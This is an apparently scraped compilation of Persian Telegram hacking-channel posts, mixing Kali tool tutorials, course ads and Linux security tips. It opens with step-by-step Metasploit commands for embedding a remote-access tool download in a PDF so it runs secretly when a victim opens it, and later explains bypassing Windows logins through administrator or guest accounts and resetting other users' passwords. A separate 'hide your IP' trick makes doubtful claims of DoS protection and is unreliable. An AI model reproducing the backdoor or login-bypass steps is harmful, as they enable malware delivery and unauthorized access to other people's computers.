✅آموزش استفاده از متا اسپلویت برای ایجاد یک بک درو(Back door) در یک فایل Pdf رو قرار بدم.

بعد از اتمام کار اگر هدف شما فایل PDF را باز کند به صورت مخفیانه فایل رات شما یا هر چیزی دیگری که شما مشخص میکند بر روی سیستم هدف دانلود شده و یک بک دور در سیستم هدف ایجاد می کند
موارد مورد نیاز برای آموزش

1- یک کتاب PDF
2- متااسپلویت
3- یک رات یا هر فایل دیگری که می خواهید با باز شدن PDF دانلود شود.( شما باید آن فایل را در یک سایت آپلود که به صورت مستقیم لینک دانلود می دهد فایل خود را آپلود کنید)

مراحل زیر رو دنبال کنید

1- متااسپلویت رو در کنسول باز کنید.

2- دستور زیر رو در کنسول وارد کنید.

use exploit/windows/fileformat/adobe_pdf_embedded_exe
3- دستور زیر را در کنسول وارد کنید.

set INFILENAME location of your pdf
به جای location of your pdf محل فایل PDF خود را قرار دهید مانند نمونه زیر.
set INFILENAME /root/Shadmehr.pdf
4-دستور زیر رو در کنسول وارد کنید.
set url direct download link File
به جای <direct download link File> محل آپلود فایلی که قصد دارید با باز شدن PDF مخفیانه دانلود شود. مانند نمونه زیر عمل کنید.
set url http://download.com/server.exe
5- در نهایت در کنسول دستور زیر را وارد کنید.
Exploit
الان فایل PDF در پوشه Root قرار دارد و اگر این فایل را برای هدف بفرستید زمانی که وا در حال مطالعه آن کتاب است به صورت مخفیانه فایل مورد نظر شما دانلود می گردد.

📣با ما باشید

♻️کانال رو به دیگران معرفی کنید

@KaliSecTeam

✅آموزش اسکنر Dmitry در کالی لینوکس

👌در این آموزش شما رو با ابزار dmitry
ابزار برای انالیز کردن سایت
مثل
whois
sub domin
port scaner
و...
در اولین قدم در ترمینال
dmitry تایپ میکنم


1⃣اولین مرحله برا whois گرفتن از سایت از پارامتر w-

dmitry -w www.yahoo.com

2⃣دومین مرحله
پیدا کردن sub domin
پارامتر s-

dmitry -s www.yahoo.com

3⃣سومین مرحله port scaner
از پارامتر p-

dmitry -p www.yahoo.com

❤️حالا شما به جای سایت یاهو هر سایتی رو میتونید انالیز کنید

📣با ما باشید

♻️کانال رو به دیگران معرفی کنید

@KaliSecTeam

✅مخفی کردن آی پی


اولین قدم نفوذ به سیستم هر فردی از راه دور ، بدست آوردن آی آپی آن سیستم میباشد. هکران برای نفوذ به سیستم ابتدا به آی پی و سپس به یک پورت باز نیاز دارند در این ترفند روشی را بررسی خواهم کرد که در آن آی پی بطور کامل برای سایت ها و مراجعی که خود شما به آنها مراجعه میکنید مخفی نخواهد ماند ولی آی پی شما برای روشها و برنامه هایی که هکران از آن برای بدست آوردن آی پی شما استفاده میکنند مخفی خواهد ماند
این ترفند را میتوان ساده ترین ترفند برای مخفی کردن آی پی ها دانست.
با اینحال نمیتوانیم بر این باور باشیم که با انجام این روش بطور صد در صد از شر هکران در امان میمانیم.
ولی یاد گیری و انجام آن خالی از لطف نخواهد بود
برای شروع
کلید های ترکیبی win+R را فشار دهید
یا استارت را زده به Run بروید
در قسمت جستوجوی ران MMC را تایپ کنید و اینتر را بزنید
در محیط باز شده
از قسمت File گزینه Add/Remove snape in را انتخاب کنید
یا کلید های ترکیبی ctrl+M را فشار دهید
در قسمت Add گزینه زیر را پیدا کرده
IP Security Policy Management
و Add را فشار دهید و سپس دکمه Finish را زده خارج شوید
سپس Ok را بزنید تا به صفحه اول برگردید
در صفحه اول آیکون مقدار انتخاب شده به رنگ زرد میباشد
باید روی آن کلیک کنید تا به رنگ سبز تغییر کند
در آخر هم کل پنجره را ببندید یا از قسمت فایل بر روی Exit کلیک کنید تا پنجره بسته شود
تغییرات انجام شده را ذخیره کنید
آی پی شما در برابر حملات داس محافظت خواهد شد.

📣با ما باشید

♻️کانال رو به دیگران معرفی کنید

@LearnKali

📽👇پورت فورواردينگ تو مودم ها 👇

📣با ما باشید

♻️کانال رو به دیگران معرفی کنید

@LearnKali

شروع دوره های تجزیه و تحلیل سیستم از اول مهرماه !

جهت ثبت نام با ادمین
@Rayvar

دوره برنامه نویسی شل و ال پی ای سی ۱ از اول مهرماه
جهت ثبت نام با ادمین
@Rayvar

دوره کاراموزی ویژه دانشجویان دانشگاهها با ارائه مدرک ونامه به دانشگاه !

هک رمز Pc


🔱رمز هاي كامپيوتري يكي از مهمترين بخش هاي امنيتي در كامپيوتر است.

اين رمز ها هستند كه تا حدي امنيت كامپيوتر را در برابر هكر ها و اشخاصي كه ميخواهند بي اجازه به اطلاعات شخصي شما دست پيدا كنند بيشتر ميكند اما راه هاي نفوذي ديگري هم هست كه خيلي از ما از انها بي خبريم و هركس كه انها را بلد باشد ميتواند به رايانه شخصي شما نفوذ كند.

من در اين مقاله ميخواهم اين راه هاي نفوذي را به شما ياد بدهم و چگونگي بستن اين راه هاي نفوذ را هم ياد بدهم.

اگر صفحه اي كه بايد رمز را در ان وارد كنيم در اول لود شدن ويندوز امد اين صفحه دوحالت دارد يكي كه عكس است و بايد روي ان كليك كنيم يكي اينكه يوزر نام و پسورد را وارد كنيم.

اگر صفحه داراي عكس امد ميتوانيم دوبار الت و كنترل و دليت (alt,ctrl,delete)را بگيريم تا صفجه مورد نظر ما باز شود.

حالا ميخواهيم رمز را بدون دانستن ان باز كنيم.

در يوزر نام ان administrator را تايپ كنيد و اينتر را بزنيد.

حالا كامپيوتر وارد دسكتاپ ميشود و كامپيوتر باز ميشود.

ما نكته اينجاست كه بعضي ها اين مسئله را ميدانند و روي اين يوزر نام هم رمز ميگذارند اما نميدانند كه خود ويندوز اكانت هايي دارد كه ميتوانيم با انها وارد كامپيوتر شويم.

حالا اگر كامپيوتر با يوزر نام administrator باز نشد به جاي ان guest يعني ميهمان را وارد كنيد كه 100 درصد باز ميشود و اگر هم به احتمال كم يعني خيلي كم ديگر هيچ را نفوذي ندارد.

حالا كه باز شد ممكن است اطلاعاتي كه ميخواهيد روي يوزر اصلي باشد و بايد وارد ان شويد.

براي اين كار وارد استارت منو شده و وارد ران شويد براي اين كار ميتوانيد در كيبورد كليد آر را بزنيد حالا در قسمت مورد نظر كلمه زير را تايپ كنيد.

control userpasswords2

حالا يوزر نيم شخص را پيدا كنيد و براي عوض كردن پسورد ان ريست پسورد را در پايين بزنيد .

حالا با دادن يك بار رمز شما و يك بار تكرار رمز پسورد كامپيوتر عوض ميشود.

اگر ميخواهيد كه شما اين راه نفوذي را ببنديد روي اكانت گست (مهمان)كليك كنيد و ريست پسورد را بزنيد.حالا با تكرار مرحله قبل ديگر كسي نميتواند به كامپيوتر شما وارد شود.

ترفند دوم :

آيا كنجكاو هستيد بدانيد كه وقتي ويندوز ميخواهد بالا بيايد چه اعمالي را انجام ميدهد تا بالا بيايد براي اينكه اين مسئله را بفهميم يك كار انجام ميدهيم.

وارد استارت منو شده و گزينه ران را باز كنيد يا كليد آر را در كيبورد بزنيد.

در داخل ان كلمه زير را تايپ كنيد.

MSCONFIG.EXE

حالا در گزينه هايي كه در بالا وجود دارد گزينه زير را باز كنيد.

BOOT.INI

حالا در صفحه اي باز شده در پايين چند چك باكس وجود دارد شما چك باكس اخر(/sos ) تيك بزنيد.

حالا گزينه او كي را زده و بيرون بياييد.

حالا كامپيوتر را دوباره را ه اندازي كنيد وترفند ما رو مشاهده كنيد.

الان پردازشگر در بخش لود شدن ويندوز فايل هايي كه بخش اصلي ويندوز را تشكيل ميدهند را نشان میدهد.

نصب و راه اندازی سرور syslog در linux و تنظیمات کلاینت های syslog روی platform های متفاوت
http://linux-zone.org/forums/thread3035.html#post9366

دستور top در Batch Mode برای پیدا کردن 15 پروسسی (Process) که بیشترین Memory Usage را دارند
http://linux-zone.org/forums/thread3043.html#post9377

10 ترفند برای افزایش امنیت سیستم عامل لینوکس


بدون شک یک کامپیوتر رومیزی با لینوکس بسیار امن‌تر از همان کامپیوتر با سایر سیستم‌عامل ها خواهد بود. نکته مهم این است که همیشه برای رسیدن به یک سطح خوب امنیتی حتما لازم نیست از نرم‌افزارهای امنیتی و تکنیک‌های خاص استفاده کنید. گاهی اوقات آسان‌‌ترین را‌ه‌ها برای کسب امنیت، آنهایی هستند که به آسانی فراموش می‌شوند. ممکن است احساس کنید این موارد بسیار عادی هستند اما شاید در همین نکات عادی راه‌ کارهای امنیتی‌ای بیابید که تاکنون نمی‌دانستید. اگر یک کاربر تازه‌کار لینوکس هستید، 10 ترفندی که در ادامه معرفی خواهیم کرد محل خوبی برای شروع است. در نتیجه مطمئن باشید تجربه‌ خوبی از لینوکس خواهید داشت.

1- قفل کردن صفحه‌ نمایش (Screen Lock) و خروج از سیستم (Log Out) مهم هستند:

بیشتر کاربران فراموش می‌کنند که لینوکس محیطی چندکاربره دارد. به همین خاطر، شما می‌توانید از سیستم خارج شوید و سایرین وارد سیستم شوند (Log In). این هم بدین معنی است که دیگران هم می‌توانند به سیستم شما دسترسی داشته باشند، و هم بدین معنی که شما نیز می‌توانید و باید هنگامی که کارتان تمام می‌شود از سیستم خارج شوید. البته خروج از سیستم تنها گزینه‌ مقابل روی شما نیست.
اگر تنها کاربر سیستمتان هستید، می‌توانید به جای خروج، صفحه را قفل کنید. قفل کردن صفحه به سادگی صورت می‌گیرد و به این معنی است که هنگام بازگشت به سیستم یک پسورد از شما خواسته می‌شود. فرقی که قفل کردن با خروج از سیستم دارد اینست که می‌توانید برنامه‌ها را در حال اجرا رها کنید و صفحه را قفل نمایید. وقتی که با وارد کردن پسورد سیستم را باز می‌کنید همان برنامه‌ها کماکان در حال اجرا هستند.

2- پنهان کردن فایل‌ها و پوشه‌ها یک محکم کاری سریع است:

در لینوکس فایل‌ها و پوشه‌ها با اضافه کردن یک نقطه "." به ابتدای اسمشان پنهان (Hidden) می‌شوند. بنابراین برای مثال فایل "Test" در یک مرورگر فایل نمایش داده می‌شود اما "Test." نه. اکثر کاربران نمی‌دانند که اجرای دستور "ls - a" فایل‌ها و پوشه‌های پنهان را نمایش خواهد داد. در حالت گرافیکی هم با زدن همزمان دکمه‌های "Ctrl + H" می‌توانید فایل‌ها و پوشه‌های پنهان را ببینید. بنابراین اگر فایل و پوشه‌هایی دارید که نمی‌خواهید همکارانتان آنها را ببینند، به راحتی می‌توانید یک نقطه به ابتدای نام آنها بیافزایید. از خط فرمان هم می‌توانید با اجرای این دستور این کار یعنی mv test .test از آن استفاده کنید.

3- فراموش نکنید همواره یک پسورد خوب ضروری است:

کلید طلایی شما برای امنیت در یک کامپیوتر لینوکس، پسوردتان است. اگر پسوردتان را به دیگران بگویید یا یک پسورد ضعیف و قابل حدس زدن داشته باشید گویی که کلید طلایی‌یتان را به دیگران داده‌اید. اگر برای مثال از توزیعی مانند اوبونتو استفاده می‌کنید، یک پسورد نسبت به فدورا به کاربران اختیارات بیشتری می‌دهد. پس باید مطمئن باشید که یک پسورد قوی انتخاب کرده‌اید. برنامه‌های تولیدکننده‌ پسورد نیز وجود دارند که می‌توانند کمکتان کنند. برای مثال Automated Password Generator گزینه خوبی است.

4- نصب کردن نرم‌افزارهای اشتراک فایل یک سرازیری لغزنده است.:

بسیاری از کاربران لینوکس تمایل زیادی به اشتراک فایل دارند. اگر می‌خواهید این ریسک را در خانه انجام دهید، اشکالی ندارد. اما وقتی سر کار هستید، نه تنها راه را برای یک دعوا و مرافعه توسط شرکت با خودتان باز کرده‌اید،بلکه راه را برای کاربران دیگر نیز باز می‌گذارید که ممکن است به اطلاعات حساسی روی کامپیوترتان دسترسی داشته باشند. پس، به عنوان یک قانون، نرم‌افزارهای اشتراک فایل را نصب نکنید.

5- به روز رسانی سیستم به طور مرتب، یک کار عاقلانه است:

لینوکس ویندوز نیست. در ویندوز شما به روز رسانی‌های امنیتی را هنگامی دریافت می‌کنید که مایکروسافت آنها را منتشر کند که می‌تواند چندین ماه بعد باشد. در لینوکس یک به روز رسانی امنیتی ممکن است چند دقیقه یا چند ساعت بعد از شناسایی یک حفره‌ امنیتی منتشر شود. هم در KDE و هم در Gnome نرم‌افزارهای به روز رسانی از اینترنت وجود دارند. اگر همیشه آنها را در حال اجرا داشته باشید می‌توانید از انتشار موقع یک به روز رسانی مطلع شوید. بی‌خیال به روز رسانی‌ها نشوید! حتما دلیلی وجود دارد که آنها منتشر می‌شوند.

6- نصب یک ویروس‌ یاب واقعا در لینوکس مفید است:

نمی‌دانم باور می‌کنید یا نه. ضد ویروس‌ها در لینوکس هم جای خودشان را دارند. درست است که امکان ایجاد یک مشکل در لینوکس که دلیلش یک ویروس باشد بسیار کم و در حد صفر است؛ اما آن ایمیل‌هایی که برایتان می‌آید و شما به دوستان ویندوزی‌ یتان فوروارد می‌کنید می‌تواند مشکل‌ساز باشد. با یک ضدویروس خوب، مثل ClamAV می‌توانید مطمئن شوید ایمیل‌هایی که از کامپیوتر شما ارسال می‌شود هیچ چیز مخربی همراه ندارند که بتوا

ند برای شما یا شرکت‌ تان مشکل ایجاد کند.

7- وجود SELinux کاربردهایی دارد:

SELinux یا (Security-Enhanced Linux) به وسیله‌ موسسه‌ ملی امنیت آمریکا ایجاد شده‌است و به قفل کردن دسترسی به کنترل نرم‌افزارها کمک می‌کند. و این کار را بسیار خوب انجام می‌دهد. مطمئنا SELinux گاهی اوقات می‌تواند یک مزاحم باشد. در بعضی موارد ممکن است مقدار کمی کارآیی سیستم را کاهش دهد. یا اینکه ممکن است برخی نرم‌افزارها با وجود SELinux برای نصب دچار مشکل بشوند. به هر حال امنیتی که با نصب SELinux یا AppArmor شرکت Novell به دست می‌آورید به نکات منفی‌اش می‌ارزد. در هنگام نصب فدورا امکان فعال کردن SELinux را دارید.

8- ایجاد پوشه‌ home در یک پارتیشن جداگانه امن‌تر است:

نصب پیش‌فرض لینوکس پوشه‌ home را که حاوی اطلاعات شخصی کاربران است درست در root سیستم قرار می‌دهد. این خوب است اما اولا حالت استاندارد است و هر کسی به کامپیوتر شما دسترسی داشته باشد دقیقا می‌داند که اطلاعات‌تان در کجا قرار دارد. ثانیا اگر سیستمتان به دلیلی دچار مشکل شود و سیستم‌عامل قابل دسترسی نباشد ممکن است اطلاعاتتان از بین برود. برای حل این مشکل می‌توانید home را در یک پارتیشن جداگانه قرار دهید. اگر از دست‌ دادن اطلاعاتتان بسیار نگرانتان می‌کند می‌توانید این کار با ارزش را انجام دهید.

9- استفاده از یک محیط کاربری غیر متعارف به همان اندازه طلا می‌ارزد:

محیط‌های کاربری جایگزین برای KDE و Gnome شامل Enlightenment, Blackbox, Fluxbox و غیره به کامپیوترتان یک احساس و جلوه‌ جدید می‌بخشد و یک راه ساده جلوی پایتان می‌گذارد که جلوی چشم‌های فضول را بگیرید! من از Fluxbox بر روی کامپیوتری استفاده کردم؛ وقتی می‌خواستم فقط یک کار انجام دهد: مرور در شبکه. این به راحتی قابل دستیابی است. یک منو برای موس برای نرم‌افزاری که می‌خواهید استفاده کنید ایجاد کنید. دیگران قادر به اجرای هیچ نرم‌افزاری نیستند به جز آن چیزی که توسط شما ارائه شده است. به هر حال اکثر کاربران هیچ ایده‌ای برای گشت‌ وگذار در این محیط‌ ها ندارند.

10- متوقف کردن سرویس‌ها بهترین کار است:

این یک کامپیوتر میزکار است. یک سرور نیست. پس چرا سرویس‌هایی مانند httpd, ftpd و sshd را اجرا می‌کنید؟ شما نباید به آنها نیاز داشته باشید و آنها فقط یک گاف برای امنیت کامپیوترتان هستند. اگر نمی‌دانید چگونه آنها را متوقف کنید، اجرایشان نکنید. فایل /etc/inetd.conf را چک کنید و مطمئن شوید که تمام سرویس‌های غیر لازم کامنت شده‌اند (اگر اول یک خط # قرار بگیرد آن خط یک کامنت یا توضیح به حساب می‌آید و اجرا نمی‌شود) این کار ساده ولی مؤثر است.

بهترین دستورات لینوکس برای کاربران مبتدی




چند سالی از عرضه سیستم عامل لینوکس میگذرد. اما به دلیل سلطنت ویندوز به ویژه در کشور ما ، کاربران زیادی از این سیستم عامل بهره نمیبرند. اما کاربرانی هم هستند که تا حدودی با لینوکس آشنایی دارند و چند باری با آن کار کرده اند و به نوعی تازه کار محسوب میشوند. در این ترفند قصد داریم 10 نوع از بهترین و کاربردی ترین دستورهای موجود در لینوکس را برای این کاربران تازه کار مطرح سازیم. چرا که با استفاده از همین گونه دستورات است که به مرور در این سیستم عامل نیز حرفه ای خواهید شد.


کافی است در داخل Shell دستورات زیر را وارد نمایید:

1- ls
این دستور را میتوان کاربردی ترین و اساسی ترین دستور پایه نام برد. ls به منظور نمایش فایلهای موجود در دایرکتوری که در آن هستید به کار میرود.

2- who
از این دستور برای نمایش افرادی که هم اکنون داخل سیستم Login کرده اند استفاده میشود.

3- cd
دستور cd شما را به مسیر اصلی دایرکتوری که هم اکنون در آن هستید هدایت میکند.

4- ifconfig
این دستور امکان مشاهده کلیه قسمتهای مربوط به شبکه همانند آدرس IP شما ، Netword Device های فعال و ... را به شما میدهد.

5- man
این دستور خود یک دستور راهنماست ، به این شکل که در صورتی که از دستوری اطلاع نداشتند با تایپ man و سپس دستور مورد نظر ، کاربرد دستور فوق را در یک فایل متنی مشاهده خواهید کرد.

6- tar
دستور tar به منظور خارج کردن فایل ها و دایرکتوری ها از حالت فشرده به کار میرود. به فرض مثال شما ممکن است یک فایل tar. را دانلود کرده باشید. با استفاده از این دستور میتوانید این فایل ها را به فایل ها و فولدرهای معمولی تبدیل کنید.

7- gzip
با استفاده از دستور gzip شما ابزاری مناسب برای فشرده سازی و خارج سازی فایلهای فشرده خواهید داشت.

8- echo
این دستور جالب باعث میشود هر دستوری که پس از echo تایپ نمایید در یک خط جدید از Command Prompt نمایش پیدا کند. این دستور همچنین برای گرفتن خروجی از اسکریپتهای Shell بسیار مورد استفاده است.

9- df -h
این دستور مقدار فضای خالی شما در داخل درایو مورد نظر را برای شما نمایش میدهد.

10- apt-get, yum, emerge, etc


این دستورات هر کدام بر روی یکی از توزیع های لینوکس قابل اجراست. apt-get در ubuntu یا emerge برای gentoo. با این دستورات شما امکان فراخوانی هر یک بسته های مدیریتی از اینترنت و دانلود آنها برای کار بهتر در لینوکس را خواهید داشت.

دوستان کتاب comptia server برای اشنائی با سخت افزار و کلا با مباحث سرور ! ورژن جدید 2016

وهمچنین کتاب storage